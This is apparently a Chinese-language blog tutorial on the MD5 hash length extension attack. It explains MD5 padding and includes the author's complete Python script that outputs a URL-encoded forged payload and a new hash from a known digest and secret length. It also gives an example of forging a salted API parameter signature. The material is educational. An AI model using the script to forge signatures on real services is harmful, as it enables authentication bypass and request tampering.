哈希长度扩展攻击

Hash Length Extension Attack (MD5)

  • MD5加密原理
    • MD5算法会对明文进行分组,每组长度64bytes,不足64bytes的组进行padding补齐
      padding规则:将明文先用\x80和若干个\x00补齐至长度与56模64同余,最后8个bytes再用原明文长度信息补齐(注意长度信息单位为bit)

      栗子:md5(admin)

      • ‘admin’ equals '\x61\x64\x6d\x69\x6e’
      • [padding_step1] : adding ‘\x80’+’\x00’*50
      • [padding_step2] : adding ‘\x28’+’\x00’*7
      • [after_padding] : '\x61\x64\x6d\x69\x6e\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00’
      • 前面有一个大小端的问题要注意,但不在这篇blog里细说
    • MD5算法有固定的初始值A,B,C,D,每组64bytes长的字符串均分为16段,组成M数组,再与A,B,C,D进行一系列数学运算,能得到新的A,B,C,D,再以新的A,B,C,D和下一个M数组进行运算,最后得到的A,B,C,D(记得进行小端转换)拼接而成就是16bytes长的md5串


知道了加密原理,那就来看看长度扩展攻击吧(攻什么???

  • 前提条件:已知secret的长度和对应的md5
  • 攻击目的:在未知secret的情况下,获取secret+poc的md5值
  • 原理浅析:通过手动paadding,即利用poc的前半部分先将secret补成md5(secret)时padding补齐的亚子(长度为64bytes的整数倍),然后再将poc的后半部分构造为自己需要的字符串即可。这样的话已知的md5(小端转换后并四等分)就等价于我们poc后半段要进行md5的初始A,B,C,D,从而得到想要的md5值

直接挂自己写的md5长度扩展攻击脚本(手搓的一个好处是md5每个加密步骤都摸透了…)

import getopt,sys
import binascii

F = lambda x,y,z:((x&y)|((~x)&z))
G = lambda x,y,z:((x&z)|(y&(~z)))
H = lambda x,y,z:(x^y^z)
I = lambda x,y,z:(y^(x|(~z)))
RL = lambda x,n:(((x<<n)|(x>>(32-n)))&(0xffffffff))

def FF(a, b, c, d, x, s, ac):  
	a = (a+F ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff
	a = RL ((a), (s))&0xffffffff
	a = (a+b)&0xffffffff
	return a

def GG(a, b, c, d, x, s, ac):  
	a = (a+G ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff
	a = RL ((a), (s))&0xffffffff
	a = (a+b)&0xffffffff
	return a
def HH(a, b, c, d, x, s, ac):
	a = (a+H ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff
	a = RL ((a), (s))&0xffffffff
	a = (a+b)&0xffffffff
	return a
def II(a, b, c, d, x, s, ac):  
	a = (a+I ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff
	a = RL ((a), (s))&0xffffffff  
	a = (a+b)&0xffffffff
	return a
def init_plain(plain, pre_len):
	lens = ((len(plain)+pre_len)*8) & 0xffffffffffffffff
	if(len(plain)%64 != 56):
		adds_idx = (120 - len(plain)%64)%64 - 1
		plain += '\x80' + '\x00' * adds_idx
	lens = ((lens & 0xff00000000000000) >> 56) | ((lens & 0x00ff000000000000) >> 40) | ((lens & 0x0000ff0000000000) >> 24) | ((lens & 0x000000ff00000000) >> 8) | ((lens & 0x00000000ff000000) << 8) | ((lens & 0x0000000000ff0000) << 24) | ((lens & 0x000000000000ff00) << 40) | ((lens & 0x00000000000000ff) << 56)
	tail_str = "%016x"%lens
	for i in range(8):
		plain += chr(int(tail_str[i*2 : (i+1)*2], 16))
	return plain
def get_M(sub_plain, M):# 每次将64字节的sub_plain16等分
	for i in range(16):
		M[i] = ord(sub_plain[i*4]) + ord(sub_plain[i*4+1])*16**2 + ord(sub_plain[i*4+2])*16**4 + ord(sub_plain[i*4+3])*16**6
		M[i] = M[i] & 0xffffffff
		# print("%08x"%M[i])
def format_trans(a):#小端规则转换输出
	a = ((a & 0xff000000) >> 24) | ((a & 0x00ff0000) >> 8) | ((a & 0x0000ff00) << 8) | ((a & 0x000000ff) << 24)
	return a
def my_md5(plain, pre_len = 0, A = 0x67452301, B = 0xefcdab89, C = 0x98badcfe, D = 0x10325476):
	a = A
	b = B
	c = C
	d = D
	plain = init_plain(plain, pre_len)
	for i in range(0, len(plain) // 64):
		sub_plain = plain[i*64 : (i+1)*64]
		M = [0] * 16
		get_M(sub_plain, M)
		a = FF(a, b, c, d, M[0], 7 , -680876936);
		d = FF(d, a, b, c, M[1], 12, -389564586);
		c = FF(c, d, a, b, M[2], 17,  606105819);
		b = FF(b, c, d, a, M[3], 22, -1044525330);
		a = FF(a, b, c, d, M[4], 7 , -176418897);
		d = FF(d, a, b, c, M[5], 12,  1200080426);
		c = FF(c, d, a, b, M[6], 17, -1473231341);
		b = FF(b, c, d, a, M[7], 22, -45705983);
		a = FF(a, b, c, d, M[8], 7 ,  1770035416);
		d = FF(d, a, b, c, M[9], 12, -1958414417);
		c = FF(c, d, a, b, M[10], 17, -42063);
		b = FF(b, c, d, a, M[11], 22, -1990404162);
		a = FF(a, b, c, d, M[12], 7 ,  1804603682);
		d = FF(d, a, b, c, M[13], 12, -40341101);
		c = FF(c, d, a, b, M[14], 17, -1502002290);
		b = FF(b, c, d, a, M[15], 22,  1236535329);

		a = GG(a, b, c, d, M[1], 5 , -165796510);
		d = GG(d, a, b, c, M[6], 9 , -1069501632);
		c = GG(c, d, a, b, M[11], 14,  643717713);
		b = GG(b, c, d, a, M[0], 20, -373897302);
		a = GG(a, b, c, d, M[5], 5 , -701558691);
		d = GG(d, a, b, c, M[10], 9 ,  38016083);
		c = GG(c, d, a, b, M[15], 14, -660478335);
		b = GG(b, c, d, a, M[4], 20, -405537848);
		a = GG(a, b, c, d, M[9], 5 ,  568446438);
		d = GG(d, a, b, c, M[14], 9 , -1019803690);
		c = GG(c, d, a, b, M[3], 14, -187363961);
		b = GG(b, c, d, a, M[8], 20,  1163531501);
		a = GG(a, b, c, d, M[13], 5 , -1444681467);
		d = GG(d, a, b, c, M[2], 9 , -51403784);
		c = GG(c, d, a, b, M[7], 14,  1735328473);
		b = GG(b, c, d, a, M[12], 20, -1926607734);

		a = HH(a, b, c, d, M[5], 4 , -378558);
		d = HH(d, a, b, c, M[8], 11, -2022574463);
		c = HH(c, d, a, b, M[11], 16,  1839030562);
		b = HH(b, c, d, a, M[14], 23, -35309556);
		a = HH(a, b, c, d, M[1], 4 , -1530992060);
		d = HH(d, a, b, c, M[4], 11,  1272893353);
		c = HH(c, d, a, b, M[7], 16, -155497632);
		b = HH(b, c, d, a, M[10], 23, -1094730640);
		a = HH(a, b, c, d, M[13], 4 ,  681279174);
		d = HH(d, a, b, c, M[0], 11, -358537222);
		c = HH(c, d, a, b, M[3], 16, -722521979);
		b = HH(b, c, d, a, M[6], 23,  76029189);
		a = HH(a, b, c, d, M[9], 4 , -640364487);
		d = HH(d, a, b, c, M[12], 11, -421815835);
		c = HH(c, d, a, b, M[15], 16,  530742520);
		b = HH(b, c, d, a, M[2], 23, -995338651);

		a = II(a, b, c, d, M[0], 6 , -198630844);
		d = II(d, a, b, c, M[7], 10,  1126891415);
		c = II(c, d, a, b, M[14], 15, -1416354905);
		b = II(b, c, d, a, M[5], 21, -57434055);
		a = II(a, b, c, d, M[12], 6 ,  1700485571);
		d = II(d, a, b, c, M[3], 10, -1894986606);
		c = II(c, d, a, b, M[10], 15, -1051523);
		b = II(b, c, d, a, M[1], 21, -2054922799);
		a = II(a, b, c, d, M[8], 6 ,  1873313359);
		d = II(d, a, b, c, M[15], 10, -30611744);
		c = II(c, d, a, b, M[6], 15, -1560198380);
		b = II(b, c, d, a, M[13], 21,  1309151649);
		a = II(a, b, c, d, M[4], 6 , -145523070);
		d = II(d, a, b, c, M[11], 10, -1120210379);
		c = II(c, d, a, b, M[2], 15,  718787259);
		b = II(b, c, d, a, M[9], 21, -343485551);
		A += a
		B += b
		C += c
		D += d
		A = A & 0xffffffff
		B = B & 0xffffffff
		C = C & 0xffffffff
		D = D & 0xffffffff
		a = A
		b = B
		c = C
		d = D
	return ("%08x%08x%08x%08x"%(format_trans(a),format_trans(b),format_trans(c),format_trans(d)))

try:
	options,args = getopt.getopt(sys.argv[1:],"o:l:a:",["atk"])# o - orginal_md5 ; l - secret length ; a - addmsg
except getopt.GetoptError:
	print('Required format : [-o "your original md5" -l "length of unknown secret" -a "your additional message" --atk]')
	sys.exit()
o_md5 = ''
secret_len = 0
a_msg = ''
hasSoul = False #有没有灵魂(不是
for key,value in options:
	if key == "-o":
		o_md5 = value
	elif key == "-a":
		a_msg = value
	elif key == "-l":
		secret_len = int(value)
	elif key == "--atk":
		hasSoul = True
if o_md5 == '' or a_msg == '' or secret_len == 0 or hasSoul == False:
	print('Required format : [-o "your original md5" -l "length of unknown secret" -a "your additional message" --atk]')
	sys.exit()
payload = ''
lens = (secret_len*8) & 0xffffffffffffffff
if((secret_len%64) != 56):
	adds_idx = (120 - secret_len%64)%64 - 1
	payload += '\x80' + '\x00' * adds_idx
lens = ((lens & 0xff00000000000000) >> 56) | ((lens & 0x00ff000000000000) >> 40) | ((lens & 0x0000ff0000000000) >> 24) | ((lens & 0x000000ff00000000) >> 8) | ((lens & 0x00000000ff000000) << 8) | ((lens & 0x0000000000ff0000) << 24) | ((lens & 0x000000000000ff00) << 40) | ((lens & 0x00000000000000ff) << 56)
tail_str = "%016x"%lens
for i in range(8):
	payload += chr(int(tail_str[i*2 : (i+1)*2], 16))
pre_len = secret_len + len(payload) #secret padding以后的长度pre_len
payload += a_msg
payload = ''.join([('%' + "%02x"%ord(c)) for c in payload])
print('[payload]: "' + '*'*secret_len + '"' + payload + ' ("' + '*'*secret_len + '" means the secret)')
MAGIC_NUM = [0] * 4 #从md5中获取自定义幻数
for i in range(4):
	MAGIC_NUM[i] = format_trans(int(o_md5[i*8 : (i+1)*8], 16))
print('[new_md5]: ' + my_md5(a_msg, pre_len, MAGIC_NUM[0], MAGIC_NUM[1], MAGIC_NUM[2], MAGIC_NUM[3]))

  • 代码实验:
    format : [-o “your original md5” -l “length of unknown secret” -a “your additional message” --atk]
    这里取secret = ‘imp0ssib1e’
    但secret未知,我们假设仅知道secret对应的
    [Length] : 10
    [MD5] : 989c382ee68677c13e94b4c6e7ee5331

    运行结果如下:
    在这里插入图片描述


  • 实战利用
    • CTF(略)
    • 伪造合法签名(如AWS签名)

这里摘录一下白帽子讲web安全那本书

签名一般要加盐,所以相当于明文未知,在没有使用间隔符的签名校验算法里,我们就可以利用长度扩展攻击来生成合法签名,栗子如下
原来的参数:
?a=1&b=2&c=3
在签名算法中:
a1b2c3
伪造参数:
?a=1b2c3[…padding…]&b=4&c=5
在签名算法中:
a1b2c3[…padding…]b4c5
于是新的合法签名伪造成功!

写脚本给自己用系列(卑微

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值